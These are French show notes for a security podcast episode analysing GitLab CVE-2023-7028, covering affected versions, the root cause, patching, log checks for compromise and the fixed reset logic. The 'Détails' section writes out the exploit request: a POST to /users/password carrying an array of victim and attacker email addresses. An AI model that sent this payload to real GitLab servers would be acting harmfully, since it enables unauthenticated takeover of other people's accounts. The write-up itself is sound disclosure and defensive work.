                          ]]>                           Service Hacktion - Notes attachées au balado S01E04 - Analyse de la vulnérabilité Gitlab CVE-2023-7028 https://blog.raw.pm/fr/Service-Hacktion-S01E04-gitlab-CVE-2023-7028/ Saison Épisode 1 4

                          Notes#

                          Gitlab en bref :

                          • forge logicielle (gestion du code source, intégration et déploiement continue, collaboration, etc.)
                          • beaucoup déployé en interne dans les entreprises

                          La vulnérabilité en bref :

                          • Risque : Critique (CVSS v3 7.5 selon le NIST, 10.0 selon le CNA (Gitlab))
                          • Cible : large spectre de versions de l'édition communautaire (CE) et entreprise (EE)
                          • Impact : Permet de prendre le contrôle arbitrairement de comptes utilisateurs (sans authentification et sans interaction)
                          • Fonctionnement : L'attaquant fournit 2 adresses dans la requête de réinitialisation (la sienne et celle de la victime), il reçoit le lien de réinitialisation de la victime
                          • Cause : les courriels de réinitialisation du mot de passe d'un compte d'utilisateur peuvent être envoyés à une adresse non vérifiée
                          • Identifiée par asterion04 lors d'un programme de prime aux bogues
                          • Versions affectées :
                            • 16.1.0 à 16.1.5
                            • 16.2.0 à 16.2.8
                            • 16.3.0 à 16.3.6
                            • 16.4.0 à 16.4.4
                            • 16.5.0 à 16.5.5
                            • 16.6.0 à 16.6.3
                            • 16.7.0 à 16.7.1
                          • Correction :
                            • MAJ vers version non vulnérable
                            • Activer l'authentification à deux facteurs
                            • Par mesure de sécurité, réinitialiser tous les secrets (comptes, jetons d'API, certificats, etc.)

                          Détails :

                          • HTTP POST sur /users/password
                          • Charge utile (exemple) : authenticity_token=<auto_generated_token>&user%5Bemail%5D%5B%5D=victim%40example.org&user%5Bemail%5D%5B%5D=attacker%40example.org
                          • authenticity_token = jeton anti-CSRF (obtenable sur /users/password/new)
                          • user[email] x1 ➡️ user[email][] x2 (passage en tableau)
                          • user[email][]=victim@example.org&user[email][]=attacker@example.org doit être URL encodé sinon l'attaque ne fonctionne pas
                          • besoin de connaitre l'adresse de courriel (pas le nom de compte)
                          • impact variable selon que des projets sont exposés publiquement ou non

                          Plus-value pour l'attaquant :

                          • Très répendu
                          • Facile à exploiter
                          • Peut donner des accès privilégiés
                          • Attaque non authentifiée
                          • Vulnérable par défaut (sans changement de configuration)
                          • Donne accès à des données sensibles et permet de rebondir

                          Recherche de compromission :

                          • Vérifiez la présence de requêtes HTTP vers le chemin /users/password avec params.value.email dans le journal d'évènements gitlab-rails/production_json.log comprenant un tableau JSON avec plusieurs adresses de courriel.
                          • Vérifier la présence d'entrées avec meta.caller_id de PasswordsController#create et target_details dans le journal d'évènements gitlab-rails/audit_json.log comprenant un tableau JSON avec plusieurs adresses de courriel.

                          L'introduction dans le code source :

                          • En 16.1.0, le 1er mai 2023
                          • Un changement qui permettait aux utilisateurs de réinitialiser leur mot de passe via une adresse de courriel secondaire
                          • Bogue dans le procès de vérification de l'adresse de courriel
                          • diff du correctif

                          Par défaut, la gemme devise autorise la réinitialisation du mot de passe à partir d'un courriel primaire non confirmé.Lorsque le compte d'un utilisateur a une adresse primaire non confirmée, cela signifie que le compte n'est pas confirmé.La réinitialisation du mot de passe par le courriel primaire non confirmé est très utile du point de vue de la sécurité. Exemple : Une personne malveillante crée un compte utilisateur sur GitLab avec l'adresse courriel de quelqu'un.Si le propriétaire de l'adresse confirme le courriel pour le compte nouvellement créé, la personne malveillante pourra se connecter au compte avec le mot de passe qu'elle a fourni lors de l'inscription au compte.La personne malveillante peut configurer 2FA pour le compte utilisateur, après quoi le propriétaire de l'adresse ne pourra plus accéder à ce compte utilisateur même après avoir réinitialisé le mot de passe. Déni de service, plus personne ne peut utiliser le compte, cette adresse est bloquée sur un compte inutilisable.

                          Pour traiter ce cas en toute sécurité, le propriétaire de l'adresse doit d'abord réinitialiser le mot de passe du compte utilisateur (au moment de la confirmation ?). Cela permettra de s'assurer qu'une fois le compte utilisateur confirmé, la personne malveillante ne pourra pas se connecter avec le mot de passe qu'elle a fourni lors de l'inscription au compte. Ensuite, le propriétaire du courriel peut se connecter au compte, il verra une invitation à confirmer le courriel du compte pour continuer. Il peut alors confirmer le courriel en toute sécurité et prendre le contrôle du compte.C'est l'une des raisons pour lesquelles la réinitialisation du mot de passe par un courriel primaire non confirmé devrait être autorisée.

                          Alors que les courriels primaires non confirmés sont liés aux comptes des utilisateurs, les courriels secondaires non confirmés ne devraient pas être liés aux utilisateurs jusqu'à ce qu'ils soient confirmés.Dans le #367823, il est envisagé d'empêcher la réservation de courriels sur Gitlab par des courriels secondaires non confirmés.Selon ce problème, il pourrait y avoir des cas où il y a plusieurs utilisateurs avec les mêmes courriels secondaires non confirmés. Il serait impossible d'identifier pour quel compte utilisateur la réinitialisation du mot de passe est demandée si la réinitialisation du mot de passe était autorisée par des courriels secondaires non confirmés.Notez également qu'il n'est pas possible de demander une confirmation par courriel pour les courriels secondaires non confirmés sans avoir accès au compte d'utilisateur.

                          • ✅ courriel primaire confirmé ➡️ envoi à cette adresse uniquement
                          • ✅ courriel primaire non confirmé (cf. explication précédente) ➡️ envoi à cette adresse uniquement
                          • ✅ courriel secondaire confirmé (cf. explication précédente) ➡️ envoi à cette adresse uniquement
                          • ❌ courriel secondaire non confirmé (cf. explication précédente) ➡️ n'envoi rien à personne
                          • ❌ courriel inconnu ➡️ n'envoi rien à personne
                          • ❌ plusieurs courriels ➡️ n'envoi rien à personne

                          Ressources :

                          ]]>